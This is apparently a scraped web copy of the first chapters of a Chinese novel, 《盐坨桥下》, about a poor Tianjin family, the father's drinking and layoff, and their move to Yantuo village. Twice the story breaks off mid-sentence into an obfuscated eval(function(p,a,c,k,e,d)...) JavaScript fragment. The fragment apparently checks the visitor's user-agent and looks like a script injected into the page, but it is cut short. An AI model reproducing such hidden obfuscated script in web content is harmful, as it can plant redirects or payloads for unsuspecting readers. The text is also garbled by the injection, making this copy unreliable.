《盐坨桥下》 1. 第一章 “银行里”筒子楼 早晨六点半,痰盂先醒了。铁皮的撞水泥地,搪瓷的磕木头梯,哐啷哐啷从六楼滚到一楼,像一场笨拙的接力赛。“银行里”的早晨是从底下开始的——从痰盂底,从尿盆底,从总是堵住的下水道底。这名儿听着气派,实则是二十年前人民银行职工的福利房,红砖墙,水泥地,统共六栋,围成个口字。早先住的是点钞的、记账的、穿中山装拎黑皮包的,如今中山装磨破了领子,皮包拉链坏了半截,里头住的也杂了:有棉纺厂下岗的,有街口摆摊被城管撵过来的,还有像姚华他爸这样,整天拎酒瓶的——“银行里”可不是银行它产不出钞票,只出产各家各户的牢骚、孩子的哭喊和楼道里永远散不去的煤烟味。 姚华蹲在三楼水池边刷饭盒。水池是水泥砌的,边沿糊着黄垢,摸上去黏手。水龙头拧到左尽头,滴答;拧到右尽头,还是滴答。这水龙头也像这楼里的人,你指望它往东,它偏给你滴滴答答磨洋工。不锈钢饭盒底结了块焦黑的粥疤,昨儿个父亲用它架火上热粥,火苗蹿起来舔了窗帘边,留下个焦黄的卷儿。姚华用指甲抠疤,抠下来的黑渣落在池子里,浮在水面上像散开的蚂蚁——这楼里蚂蚁也多,不光搬饭渣,有一回还把二楼老孙家掉地上的粮票拖走了半张。 隔壁李嬢嬢端着尿盆过来,盆沿的搪瓷掉了几块,露出里头黑铁,锈迹斑斑的。“介孩子。”她嗓子眼里像糊着痰,手在姚华脑袋上胡撸一把,“头发咋跟秋后的草芥子似的,你妈没给你煮个鸡蛋补补?”李嬢嬢是早先储蓄所的出纳,手指头捻钞票捻得飞快,如今捻的是白菜帮子上的泥。她男人跟人跑了,她逢人便说:“跑得好,省得跟我抢咸菜。” 姚华不言语,把饭盒斜着接水。水一滴一滴,慢得让人心慌。筒子楼的早晨就是一场漫长的等待——等水管子通,等煤球着,等醉了一宿的父亲睁开眼。等的时候,你就听吧:西头那家又在打孩子,孩子哭得像杀猪;东头那屋收音机开得震天响,放的是《杨家将》,说书人一拍惊堂木,整层楼的窗玻璃都跟着颤。 屋里传来碗碎的声音。脆生生的,是那只蓝边白瓷碗,全家就剩三只完好的了。姚华心里默数:一、二、三……第四声没等来,倒听见母亲倒抽气,短促,像针尖扎进肉里又拔出来。他扒着门缝瞅:母亲蹲在地上捡瓷片,手指捏着最大那片,血珠子冒出来,圆滚滚的,在瓷片上颤两下,“嗒”一声滴进砖缝。她把手心一攥,继续捡。父亲坐在床沿,拎着直沽高粱酒瓶子,瓶底剩个黄澄澄的底儿。他眼睛盯着墙上的水渍印——那印子年头久了,泛着黄,像幅画坏了的山水,他天天看,能看出神仙来,也能看出妖精来。 “瞅嘛瞅!”父亲眼珠子斜过来,白多黑少。 姚华缩回头。水池边饭盒里的水刚漫过黑疤,他端起来晃晃,水浑了,黑疤化开些,像墨在宣纸上洇出了毛边。倒掉,再接。这回水龙头突然大方了,哗哗流,楼下的陈奶奶正跺脚骂街:“哪个缺德带冒烟的又把白菜帮子堵下水道!全家吃屁喝风的主!”陈奶奶以前是食堂蒸馒头的,退休了,如今蒸不了馒头,专蒸一肚子火气。 昨儿放学,同桌付志强问他:“你爸脑子是不是让门挤了?”付志强他爸在自行车二厂当车间主任,穿四个兜的中山装,兜里别两支钢笔,一支红的批条子,一支黑的记账,甭管什么颜色灌的应该都是鸵鸟墨水。有回来送雨衣,站在教室门口喊“志强”,声儿亮得能把窗户震出窟窿。姚华父亲从没来过学校,家长会都是母亲去,坐在最后一排犄角旮旯,散会时第一个溜——她左脚鞋底开了胶,走快了啪嗒啪嗒响,像给散会伴奏。 “你爸连自行车都蹬不利索。”付志强又说,嘴里嚼着泡泡糖,酸臭味儿喷姚华一脸。姚华把新发的大白橡皮切成四块,分给前后桌,偏不给付志强。回家路上他数地砖,数到第一百块时想:不会骑自行车的人,是不是就像驴拉磨,转一圈是这,再转一圈还是这,一辈子也转不出这个磨道?又想,银行里筒子楼这些人,大概也都是转不出磨道的驴——区别只在于有的驴戴了眼罩,有的驴没戴。 饭盒终于刷净了。对着灰蒙蒙的天光照,不锈钢底映出张变形的脸:眼睛大得像铜铃,本来瘦得像锥子一样的下巴更尖了。他用袖口擦干,抱在怀里。屋里传来鼾声,父亲又睡过去了,鼾声拉风箱似的,中间夹着咯痰的咕噜声,像嗓子里养了只□□。母亲在楼道里的厨房生炉子,煤球呛人的烟从门缝钻出来,她在里头咳,一声追一声,咳得掏心掏肺。对门老赵家媳妇隔着布帘子喊:“姚嫂子,您这炉子该通通啦!熏得我家孩子直咳嗽!”母亲忙应:“哎,哎,这就通。”其实通不了,通炉子的铁钎子早让父亲拿去换酒了。 姚华溜达到公共厕所旁的窗户边。银行里六栋筒子楼围成个“口”字,晾衣绳横七竖八,挂满万国旗似的衣裳:打了补丁的劳动布裤子,洗得发白的蓝褂子,小孩的开裆裤滴滴答答往下滴水。东头王舅母又在阳台上唱评剧,嗓子劈了,像破锣:“巧儿我自幼儿许配赵家——”她男人老王前年让大卡车轧死了,厂里赔了三千块钱,她天天唱,唱了两年,调儿都跑到海河对岸去了。西头陈爷爷在修自行车,缺胳膊少腿的车架子躺了一地,他手里扳手叮当响,像在给王舅母敲梆子。陈爷爷不是正经修车的,是捡破烂顺带捣鼓,修好一辆卖十五块,修不好就拆零件,螺丝帽、车铃铛、破车座,摆了一地,像摆摊卖杂碎。 母亲出来倒垃圾。簸箕里是碎瓷片和粥渣,她左脚有点跛——昨儿让父亲推倒崴的。姚华盯着她的背影,薄得像张纸,风大点儿就能吹跑。忽然想起那滴血,现在该凝在砖缝里了吧?蚂蚁会不会把它当宝贝搬走?蚂蚁要血干嘛呢?也许它们也有喝醉了打架的工蚁,需要补补身子。这楼里的蚂蚁见多识广,搬过粮票、糖纸、掉地上的避孕套——有一回姚华看见一队蚂蚁吭哧吭哧拖一个用过的套子,那阵势,像给哪个蚂蚁国王运帐篷。 他跑回家,从床底摸出粉笔头——上学路上捡的,红色,短得捏不住。在墙上画了个方框,是银行里。画六条竖线,是筒子楼。在南楼三层画个圈,擦掉,又画上。粉笔灰扑簌簌落,落在补了三回的塑料凉鞋上,红粉笔灰像锈。墙上早不是原来的白,有蓝墨水甩的点,有小孩的脏手印,有拍蚊子留下的血渍,还有不知哪年哪月谁用铅笔写的“聂东方我爱你”——聂东方是一所民办高校毕业的,毕业后就和一个卖烤肠的结婚了,现在在街对面卖烤肠。这墙像一本写满又擦掉的账本,一笔糊涂账。 厨房飘出糊味儿。母亲在热昨夜的剩粥,锅底又添了新疤。“妈。”姚华站在门口。 “嗯?” “往后我关火。” 母亲回头,眼睛红着,不知是烟熏的还是咋的。她张了张嘴,喉结动了动——女人有喉结,是这两年才显出来的,像有什么话一直卡在那里,咽不下去,吐不出来。最后只说:“摆桌子去。” 咸菜碟子摆上小方桌。萝卜条是母亲腌的,切得粗细不均,撒些五香面和盐,盐还撒得不匀,有的齁死人,有的淡出鸟。父亲晃悠出来,眼泡肿得像桃,一屁股坐下去,凳子腿“吱呀”一声惨叫。三个人喝粥的声音响极了:父亲呼噜呼噜,像猪抢食;母亲小口小口抿,像鸟啄米;姚华把粥含在嘴里化开,一粒一粒数。数到第五十三粒时,听见楼下有人吵架,是为公用水池谁多占了两分钟。银行里的人吵架也有特色,不光骂娘,还要算账:“你上回用了我一撮碱面还没还!”“你孩子昨天踢球砸我家玻璃,那玻璃八毛钱一块!” 父亲喝了半碗就撂下筷子,盯着粥面发呆。粥面上结了层膜,轻轻一晃,颤巍巍的,像这日子,一捅就破。“再喝点吧。”母亲声音像蚊子哼。父亲不应,站起来往外走,门“砰”地关上,脚步声在楼道里回荡,渐渐沉下去,像石头落进深井,连个水花都没有。但银行里这口井太浅,什么动静都藏不住——五分钟后就有人传,老姚又去海河边上喝闷酒了。 “你爸……溜达去了。”母亲说,边说边收拾碗筷,手背上的裂口沾了粥汁,疼得她嘴角一抽。她不说喝酒,说溜达,像溜达是个正经事。银行里的人说话都这样,把难堪的事裹上一层糖纸,尽管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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放学时飘雨星儿。姚华把书包顶头上跑,跑到银行里筒子楼时雨正大。走廊挤满了躲雨的人,骂天气,骂厂长,骂菜市场萝卜又涨了五分钱。李嬢嬢抓了把瓜子塞给他:“刚炒的,咸口的,倍儿脆!”他摇头,钻进家门。母亲还没回,准是去街道糊纸盒了——糊一个三分钱,糊一千个能给父亲换瓶直沽高粱。屋里暗得像傍晚,他没拉灯,坐在床沿晃腿。父亲的酒瓶子还立在桌上,标签被手磨得发白,“直沽高粱”四个字只剩半边,像被日子啃掉了肉。这瓶子也算银行里的老住户了,比有些人住得还久。 他拿起瓶子对着窗户看,瓶底残留的液体黄蒙蒙的,像人害了黄痘病的眼珠子。放回去时小心翼翼,必须和原来的水渍圈严丝合缝——那是父亲画下的界,不能错。银行里处处是界,水池使多长时候,晾衣绳挂几件衣裳,炉子占多大地方,都是界,越穷的人,界划得越清,因为越没得可让。 雨砸在铁皮屋顶上,噼里啪啦,像一万个孩子在楼顶蹦。姚华扒着窗户看:晾衣绳上的衣服在风里狂舞,王舅母那件红衬衫鼓成个气球,一会儿胀一会儿瘪,像在喘气。陈爷爷忙不迭收车胎,淋湿的车胎黑亮黑亮的,在地上盘成一圈,像条伺机而动的蛇。三楼那家刚搬来的年轻夫妻在抢收被子,男的骂女的笨手笨脚,女的回嘴:“你利索,你利索咋不下岗呢!”得,又一桩“银行里”新鲜热乎的吵闹。 看了半晌,眼睛酸了。回头时,墙上那个粉笔圈在昏光里隐隐浮现——怎么擦都有印子,墙皮把它吃进去了,吐不出来了。 就像“银行里”这些人,这些事,一旦活过这么一遭,就永远凿在这栋筒子楼的砖缝里了。雨还在下,洗着晾衣绳上的旧衣裳,洗着窗台上的煤灰,洗着胡同里积了一冬的泥。洗不掉的,是那股子混着煤烟、咸菜、尿臊、宿醉和一千种不明来历气味的,银行里特有的味儿。那气味钻进砖缝,钻进被褥,钻进人的骨头缝里,多少年都散不净——后来银行里拆了,盖了新楼,住进去的人偶尔还会在半夜闻到,以为闹鬼,其实哪是鬼,是从前那些穷日子,不肯投胎,还在那儿晃悠呢。 2. 第二章 包子铺的败家子 姚建国的档案袋薄得能透光,搁在劳动科老陈桌上,老陈拿指头一敲,“噗噗”响,像拍西瓜——还是个没熟透的。“小姚啊,”老陈眯起眼,“你这档案,是让耗子啃过咋的?” 那年秋天,风里掺着煤渣和海腥气。姚建国接过袋子,顺手掂了掂,轻得跟闹着玩儿似的。他见过厂里老劳模的档案,厚得能防身,里头奖状摞奖状,光荣摞光荣,压得人脖子都短一截。他的倒好,统共三张纸:招工登记表、转正定级表,外加一张旷工扣款通知——光荣没有,污点倒挺突出。他把袋子对折塞进挎包,挎包连个饱嗝都没打,依旧瘪得像饿了三天的肚皮。 出门时,他爹——那位打过仗的老兵——正蹲胡同口给邻居修自行车。老爷子的理论向来朴实:“手艺在手,饿不死狗。”见儿子出来,他头也不抬,油污手在晨光里晃成两面信号旗。“去了踏实干,”老爷子嘱咐,“国营单位,铁饭碗。” 姚建国“嗯”了一声,心里那团麻却越缠越紧。铁饭碗?他瞅了瞅自己那双捏不成褶的手——怕是连泥碗都端不稳。路过“银行里”胡同牌时,他特意多瞅了两眼。蓝底白字,方方正正,透着股财大气粗的庄严。可惜他住在“银行里”小半辈子,连储蓄所的门朝哪边开都没摸清,仿佛那三个字是老天爷随手开的玩笑。 包子铺在山东路,门脸上“天津包子”四个字掉了笔画,“包”字少一撇,看着像“天津勺子”。老师傅教他捏褶子,十八个褶子要匀要溜,少一个天津卫的老饕都能吃出来。姚建国捏了三天,成果颇为震撼:有的包子褶子挤成一疙瘩,像被门夹过的胖脸;有的干脆咧开口,馅儿露得坦坦荡荡。老师傅把面团往案板上一摔:“介孩子的手,是赁来的吧?使完赶紧还回去!” 于是调去后厨洗碗。这活儿倒合他脾性——水是热的,手泡发了也不疼,最主要的是不用跟人搭茬。透过油花花的窗户,他瞅见前厅的食客,个个吃得从容不迫,咬包子先开窗(咬个小口),再喝汤(嘬汁),最后才吃馅。那副笃定劲儿,让姚建国觉得他们吃的不是包子,是人生规划。 晌午歇工,他蹲后院看蚂蚁搬家。蚂蚁列队整齐,扛着米粒喊号子似的往前冲。有个厨子过来倒泔水,顺脚轻踹他屁股:“癔症啥呢?”姚建国不动弹,等厨子走了,他捡根草棍,把一只掉队的蚂蚁拨回队伍——这大概是他一天里干得最像样的事儿。 下午马科长来了。科长脸上芝麻坑密布,说话时坑儿都在颤悠:“姚建国!又躲这儿孵蛋呢?”姚建国慢腾腾起身,拍拍土。马科长凑近一闻,眉毛挑成八字:“又喝了?” “没。” “没?”马科长冷笑,“上个月旷工七天,介月刚过半又旷三天。你是把包子铺当疗养院了?” 姚建国盯着科长中山装第三颗扣子——线头开了,顽强地支棱着。他想说点什么,嘴张了张,最后只憋出个闷屁似的动静,转身把一摞盘子摁进水池,水花溅湿了前襟,像为他莽撞的沉默盖了个章。 他想起三年前接介绍信那晚。老爷子翻着泛黄的相册,里头工装蓝汪汪一片:“建国,当工人,光荣!”可托遍关系,只捞来个“饮食服务公司”的红戳。姚建国捏着那张薄纸,心想:光荣是光荣了,可我这光荣,它冒热气儿啊——包子铺的热气儿。 从那以后,他就开始了有节奏的混。反正铁饭碗砸不烂,顶多磕个口儿。他每天准时来、准时走,像海河上的摆渡船,天天动,却从来没离开过这条河。自行车?他不会骑,也买不起。银行?他住“银行里”却从没摸过存折,仿佛那三个字是贴错门牌的行为艺术。 那晚下工,他溜达到卫津河。桥灯亮了,光带在水面上劈开一道道口子。他坐桥墩上,掏出小扁瓶抿了一口。直沽高粱辣得他龇牙咧嘴,对岸轮船“呜——”地一嗓子,像替他喊出了声。 到家快十一点。张玉芬在灯下补袜子,袜跟磨出个洞,她拿碎布垫上,针脚密得像在绣花。见他回来,她去热白菜熬粉条——粉条已经熬得魂飞魄散,化在汤里找不着形。 “不对口儿?”她问。 “饱了。”他答。 其实胃里空得能跑马。他瞅着媳妇补袜子,灯光把她的影子投在墙上,放得老大,像个沉默的巨人。 “今儿马科长又骂我了。” 张玉芬针尖顿了顿:“骂就骂吧,你干好了,他骂啥?” 姚建国想说“我干不好”,话到嘴边又咽了回去。他躺床上看天花板裂缝,那裂缝歪歪扭扭,像个潦草的“人”字。他想:人为什么非得干活?蚂蚁干活为过冬,人干活为嘛?为补这永远补不完的袜子? 下岗的消息是1995年春天来的,带着柳絮,轻飘飘的,却压得人抬不起头。 马科长念文件,“优化劳动组合”六个字像六颗钉子。姚建国坐最后一排数前头的后脑勺,数到四十三,听见自己名字。 “姚建国,买断工龄。” 办公室里,马科长递过来信封:“两万,签个字,咱俩就两清了。” 姚建国捏了捏,挺厚。“还有别的选么?” “有啊,每月一百二,发到退休。”马科长笑,麻子坑儿里都漾出得意,“你选哪个?” 姚建国选了买断。签字时意外地稳当,字写得比结婚登记时还周正。走出门,他觉得身子轻了——轻得能顺着柳絮飘上天。挎包这回真鼓了,两万块砖头似的硌着腰。 经过前厅时,他瞥见刚出笼的包子,有几个塌了底,馅儿漏出来,像咧着嘴笑他。 他没告诉张玉芬。信封藏床底,用旧报纸盖好,盖得像在埋宝藏。晚上吃饭,张玉芬说邻居老刘下岗领了一万,“这一万哪够一辈子?”她瞟他一眼。姚建国埋头扒饭,饭粒粘在嘴角,他都没觉着。 夜里他做梦,梦见数钱。数着数着,大团结变成了包子,包子咧嘴笑,笑着笑着,褶子全散了,露出的不是馅,是白花花的纸——和他的人生一个德行。 第二天起,他开始了职业溜达。早上出门,路线固定:家→海河→劝业场→百货大楼。百货大楼门口看人擦鞋,一看半个钟头。擦鞋的操一口温州口音,也是刚来这里谋生活的,起初防着他,后来习惯了,当他是尊摆错的雕塑。 晌午啃馒头就自来水,下午接着溜达。日子变成了一场漫长的、沉默的散步。张玉芬问累不累,他说累;问马科长还骂人不,他说骂。谎话说多了,连自己都觉得上班这事可能真发生过。 第一次动那笔钱是三个月后。姚华要交学杂费,八十三块五。张玉芬翻遍抽屉还差二十多。“明儿我去借。”她说。姚建国没吭声,夜里摸出一百压缸子底下。 张玉芬举着钱问哪来的。“奖金。”他说。张玉芬瞪他:“你们包子铺发奖金?发馒头还差不多!”但她没再问,那声叹息拖得老长,从屋里一直拖到屋外。 信封一天天瘦下去。姚建国的借口花样百出:先进奖、加班费、捡的……有回张玉芬盯着他:“建国,咱可不能学偷啊。”姚建国点头如捣蒜,点得自己都信了自己是个良民。 最后一次数钱,还剩三百七十张。那天姚华生日,他抽出一百一。买肉十五,蛋糕八块,找回的钱摊在床上,票子边儿都卷了,像开败的菊花。摸着这些钱,他突然想起自己住在“银行里”却从没进过银行——这些钱和他一样,有个正经名分,却没个正经去处。 晚上吃面,姚华说:“爸,你今天没喝酒。”姚建国一愣,笑了——可不是,忘了。张玉芬给他拨面条,面条一夹就断,断在碗里,像截断了的糊涂账。 夜里,张玉芬终于摸到了床底的秘密。她举着空了一半的信封,手抖得像风里的叶子:“姚建国,介是嘛?” 姚建国点烟,劣质烟呛得他眯起眼。 “多咱的事?” “春天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我也没干嘛。”老赵咧嘴笑,“介世道,能干嘛?卖袜子呗,卖一双赚五毛,一天站十个钟头,腿都不是自己的了。” 抽完烟,老赵走了。姚建国站了一会儿,手伸进内兜摸了摸那叠钱。突然他转身往家走,越走越快,最后跑起来。 跑过劝业场,想起第一次工资十八块五,给张玉芬买了条红纱巾——她嫌艳,一直压箱底。跑过百货大楼,想起姚华出生那晚,他在产房外转磨磨,转得护士都想给他挂号瞧病。跑过山东路,包子铺招牌更破了,“包”字少的那一撇,终究没人给补上。 跑回“银行里”胡同时,他喘得像风箱。推开门,张玉芬在洗衣裳,姚华写作业。俩人都抬头瞅他——瞅这个提前“下班”的怪人。 姚建国走到桌前,从内兜掏出那叠汗湿的钱,放在桌上。票子软塌塌的,像累瘫了。 “还剩三千七,”他嗓子哑得像破锣,“往后……不瞎造了。” 张玉芬瞅瞅钱,再瞅瞅他。姚华也瞪圆了眼。屋里只有洗衣板的咯吱声,一声一声,像在磨着时间。 过了老半天,张玉芬起身,用围裙擦擦手,走过来数钱。数两遍,抽出七十张。 “介三千,得存银行,”她说,顿了顿,“虽然咱没存过……我打听打听咋存。介七百,过日子。” 姚建国接过三千,手指碰着她手指——冰凉。他忽然想起结婚掀盖头时,她的手也这么凉。那时他想,得捂热这双手,捂一辈子。 “玉芬,”他叫了一声,陌生得自己都一愣,“我对不住你。” 张玉芬没说话,转身接着洗衣裳。咯吱咯吱,声音更响了,像要把什么脏的、旧的、不像话的东西,都搓干净。 姚华低头削铅笔,木屑卷曲着落下,落在钱上,落在父亲开胶的鞋面上,落在这个平常得不能再平常的下午。屋外传来“磨剪子嘞戗菜刀”的吆喝,混着孩子的笑闹,混着远处不知哪家工厂最后一波骚动——生活还在继续,混沌的、盲目的、不管不顾的,像海河的水,流走了就回不来。 而他,这个住在“银行里”却不知存折长啥样的人,这个捏了半辈子包子却捏不成一个圆褶的人,终于要揣着他仅剩的、被汗浸软的三千七百块钱,去面对那个他躲了半辈子的、真实的世界。 3. 第三章 迁徙的闹剧 搬家这事儿,是一九九一年秋天提上日程的。那一年深圳证券交易所敲了锣,住在“银行里”筒子楼的姚建国,既弄不清深圳在东南西北,更搞不懂证券是骡子是马。他只从酒友老邢的唾沫星子里捞出个信儿:老邢的远房表舅,能“安排好事儿”。 “嘛好事儿?”张玉芬正跟姚华校服领子上那圈红领巾磨出的白茬较劲,搓衣板吭哧吭哧响,像在给日子喊号子。 “就……好事儿呗。”姚建国仰脖子把最后一口直沽高粱灌下去,酒液顺嘴角流进洗得发硬的领子,“反正,比咱这强。” “介儿咋了?” 姚建国环顾这九平米。双人床占去半壁江山,床底下塞着三口人四季的鞋,鞋帮上的尘土能论年份计价。墙上糊的是八七年的报纸,“大干一百天”的标题已经卷了边,泛着陈年旧事的黄。窗户正对着公共厕所,夏天不敢开,尿臊味混着隔壁王寡妇家煎带鱼的腥气,能在屋里酿出另一番人生滋味。 他没说出口的是:银行里这筒子楼,听着体面,早被时代甩出八丈远了。新兴路上的国营厂子,关门比开门还利索。去年电报大楼镶了那老些玻璃幕墙,亮得晃眼,衬得这片五十年代的苏式楼群,活像一堆发了霉的积木,还是缺了棱角的。 张玉芬把校服拧成一根倔强的麻花,水哗哗砸进搪瓷盆,声响空洞。“华子在星星小学刚念熟,”她声音小得像自言自语,“转学……” “中环线外就没小学?”姚建国把空酒瓶墩在桌上,瓶底一圈黑渍,像树木的年轮,“早打听过了,盐坨村小学,离新家就五分钟道儿。” “盐坨村……”张玉芬手停了。她想起上个月蹬三轮去中环线外卖鸡蛋,路过那片地界。土路两边是蔫头耷脑的菜地,远处几个大烟囱冒着黄烟,不紧不慢的,像老天爷抽旱烟。几个半大孩子在沟渠边挖泥鳅,小腿肚子糊着黑泥,像是刚从地里长出来的根茎。 姚华扒在门框上听,耳朵竖得比兔子还灵。今天语文课刚学了“迁徙”,老师说那是鸟儿随季节搬家。他想,人随嘛搬家?随酒桌上的话?随一张油印的纸?还是随父亲眼里那两簇飘忽不定、风一吹就灭的火星儿? 三天后的礼拜日,姚建国真把那“表舅”领回来了。姓胡,一身涤纶中山装绷得紧紧的,兜里别着支钢笔,墨水洇出口袋一小片忧郁的蓝。胡表舅说话有个习惯,爱用食指关节叩桌面,叩一下,崩一句:“盐坨村明年开春盖幼儿园……”“自来水管道下月重铺……”“友谊罐头厂正招临时工,我有门路……” 每叩一下,姚建国的腰板就不自觉挺直一分。张玉芬低着头倒茶,廉价的茉莉花茶碎末在杯底淤成青黑色的渣滓,沉甸甸的。 最后,胡表舅从他那人造革公文包里,慢悠悠抽出一张纸。油印的,字迹洇得像哭花了的妆。“房管局特批的换房单,”他食指重重一点纸面,仿佛盖下个权威的戳,“银行里筒子楼一间,九平米。换盐坨村公房一间,十二平米。老姚,你赚了。” 姚建国接纸的手有点抖。他识字不多,但阿拉伯数字认得门儿清。九和十二,差着三。三平米多大?他目测屋里那张方桌,大概能多放一张桌子,兴许还能再挤进一把凳子——如果凳子腿够细的话。 “多咱搬?” “下月十五号前,清空。”胡表舅语气斩钉截铁,像宣布一项政令。 胡表舅走了,留下满屋廉价香烟和官僚气息的混合味儿。姚建国在屋里踱步,九步到头,转身,再九步。“十二平!”他重复着,像在念一句咒语,“还带个小院!” “哪来的院?”张玉芬问。 “平房,门口那块地,就算咱的院!”姚建国手臂一挥,颇有指点江山的意味。 张玉芬不说话了,端起搪瓷盆去公共水池。水龙头前排着队,李婶在洗韭菜,绿汁子顺着池壁往下淌,像流着绿色的、无声的泪。“听说要搬中环线外去?”李婶压低声音,带着胡同里特有的关切与打探。 “嗯。” “哎哟,那可是远了。”李婶甩甩手上的水珠,“不过房子大点儿好,华子眼瞅着大了,总得有个自己窝儿。” 张玉芬苦笑。窝?她想起胡表舅皮鞋帮上那新鲜的黄泥点,和银行里水泥地上的灰土不一样。那泥,带着一股子荒野的、生土的气味。 搬家前夜,姚华整理他抽屉里的“宝贝”:玻璃弹珠七颗(猫眼绿那颗是从付志强手里赢的,代价是脑门上挨了个包)、水浒卡三十一张(缺了宋江和武松,永远凑不齐的遗憾)、半截红蓝铅笔、一本卷了边的《三国演义》上册。下册找了半年,可能在哪个垃圾堆,也可能早被王寡妇收去引炉子了。 《三国演义》是从废品站扒拉出来的,封面没了,开篇就是“话说天下大势”。他爱看诸葛亮舌战群儒,看那些穿长袍的人用嘴巴打仗,字字如刀。现实里的战争简单多了——父亲摔个碗就是冲锋号,母亲持久的沉默是战壕,而他,是缩在墙角等待硝烟自行散尽的小兵。 书页在第一百二十回那儿撕破了,正讲到“司马懿诈病赚曹爽”。姚华用糨糊粘过,可惜手笨,粘反了一页,故事接不上茬。他盯着那些颠倒的文字瞎想:要是搬家能把日子也粘好,该从哪儿撕开?又该用嘛牌子的糨糊? 凌晨四点,搬家公司的老解放卡车来了。车帮上用红漆写着“立民搬家”,漆皮龟裂得像干旱的土地。两个搬运工裹着军大衣跳下车,呵出的白气在路灯下聚了又散,像游荡的魂。 家当少得令人心酸:一张吱呀作响的床、一个空荡荡的立柜、一张油渍麻花的方桌、四把颜色不一的凳子、两个樟木箱子。箱子是张玉芬的嫁妆,锁头早坏了,用麻绳五花大绑。搬运工抬柜子时嘀咕:“空的?”确实是空的——值钱点(或者说,能穿)的衣服都在床底下的包袱里,柜子只是个象征,摆给过去的岁月看。 姚华抱着他的《三国演义》坐进驾驶室。司机是个络腮胡,递给他半块烤山芋:“孩儿,凑合吃。”山芋皮烤焦了,一股苦味混着稀薄的甜。卡车发动时,他回头从后窗看。 银行里筒子楼,在黎明前最黑的时刻,只剩下一个沉默的剪影。三楼那个窗口——他家的窗口——还亮着灯,母亲在做最后检查,看有没有落下什么不该落下的。灯光黄蒙蒙的,像只疲倦至极的眼睛,勉强眨了一下,终于灭了。 车过新兴路。早点铺刚支起油锅,炸果子的香气凶猛,却混不进浓重的柴油味里。环卫工在扫街,大竹帚划过地面,刺啦刺啦,像给这个混沌的早晨拉开一道苍白的口子。路过劝业场,霓虹灯还亮着,在渐亮的天光里显得黯淡而多余。 “爸,”姚华突然问,“中环线外,有劝业场吗?” 姚建国坐在车厢的柜子顶上,没听见。他在看天,看那颗将熄的启明星。风把他本就稀疏的头发吹得根根直立,他觉得自己像支快烧到过滤嘴的烟,那点可怜的火星在风里明明灭灭,不知何时就彻底暗了。 车过海河时,太阳磨磨蹭蹭出来了。河面上金粼粼的,晃得人眼花。运沙船突突驶过,毫不留情地搅碎一河脆弱的金光。金刚桥上的电车正开过,辫子和电线擦出细碎的蓝火花,噼啪,噼啪,像在鼓掌欢送,也像在嘲弄地告别。 卡车继续往北,开上盐坨桥时,车速慢了下来。这座一九八六年才建好的桥长得望不到头,姚华数着桥灯,一盏,两盏……数到眼花。桥下的新开河水泛着铁锈色的光,沉默地流向比盐坨村更远的荒地。络腮胡司机拍了拍方向盘,像在拍老伙计的肩:“瞧见没,孩儿,盐坨桥,六百多米长呢。你爸要去的盐坨村,就在桥那头。” “为嘛叫盐坨?”姚华把脸贴在冰冷的车窗上。 “老早老早的事儿喽。”司机点了支烟,烟雾立刻模糊了车窗,“明朝那会儿,这块地界是皇家的盐厂,南边运来的长芦盐,堆得跟小山似的,就叫‘盐坨’。县志上白纸黑字写着——‘前明堆贮贡盐之地’。贡盐,那可是专给皇上吃的。” 姚华想象不出皇上吃的盐是嘛样。他只知道家里粗瓷罐里的盐,总爱结硬块,炒菜时得用刀背使劲敲。那些雪白的、堆成山的贡盐,早化在几百年的风和雨里了,只剩下个地名,印在桥头的牌子上,蓝底白字,像个被时代遗忘的、褪色的戳记。 车过桥时,姚华看见桥栏杆上斑驳的锈迹。才五年光景,这座桥已被河风和水汽啃噬得老态龙钟。桥那头,盐坨村的轮廓在晨雾里浮现,低矮的平房毫无生气地趴在地上,像一群累垮了的、等待宰杀的牲口。 张玉芬坐在车厢角落,手紧紧抓着捆箱子的麻绳,指节发白。她想起二十三岁嫁过来那天,坐的是三轮车,车把上系着寒酸的红绸。那时银行里筒子楼还是新的,红砖墙在阳光下像抹了劣质胭脂。邻居们挤在楼道里看新娘子,王寡妇那时候还没寡,嗓子亮,唱了段《红娘》,能把云彩穿透。 麻绳粗糙,勒进掌心,生疼。她松开一点,又立刻攥紧。总得抓住点嘛,哪怕是根绳子。 盐坨村比记忆里更荒凉。土路被各种车辆轧出深深的辙,雨后积着浑浊的泥水,倒映着同样灰白黯淡的天。新家在村西头,是排红砖平房的倒数第二间。门牌是蓝漆写的“27”,漆滴下来一道,像道凝固的泪痕。 姚建国跳下车,几乎是冲过去的。门没锁,一推就开,吱呀一声,像声叹息。屋里空荡荡,水泥地返着潮气,墙角洇出深色的水印,像地图上陌生的疆域。他迫不及待地大步量着,一、二、三……整整十二步!“十二平!没跑儿!”他朝门外喊,声音在空屋里撞出空洞的回响,显得那“赚了”的喜悦有些单薄。 张玉芬走进去,先看窗。窗外确实是胡表舅口中的“院”——五米见方的一片泥地,边上杂乱堆着煤渣砖,砖缝里钻出枯黄倔强的草。远处是所谓的“铁道沟”,废弃的铁轨在杂草里时隐时现,像条僵死已久、正在慢慢锈烂的长虫。 “院大吧?”姚建国跟进来,脸上泛着红光,不知是兴奋还是早晨的冷风吹的,“夏天咱种点葱,种点茄子……对了,还能搭个葡萄架!” 姚华抱着书站在门口,脚像钉住了,不肯迈过那道高门槛。门槛木头被虫蛀了,露出海绵状的、不堪一击的芯子。屋里有种陌生的气味,不是银行里熟悉的尿臊和油烟,也不是盐坨桥上铁锈和河水的气息,而是石灰粉混着陈年霉味、属于无数前住户的、复杂而陌生气息。 搬运工把家具搬进来,在空旷的十二平米里,它们显得更小、更寒酸了。床放哪儿,柜子放哪儿,桌子放哪儿——这些在筒子楼里固定了十年、仿佛天经地义的位置,在这里都要重新定夺。姚建国和张玉芬爆发了短暂而激烈的争执: “床靠东墙!东墙朝阳!” “东墙潮!你没看见水印子?” “那靠西!” “西边是门,漏风!冬天喝西北风啊?” 最后床还是靠了东墙。摆好后,姚建国得意地拍拍床板,灰尘在昏暗的光线里飞舞:“介儿好!太阳晒得着!去潮气!” 他选择性忽略 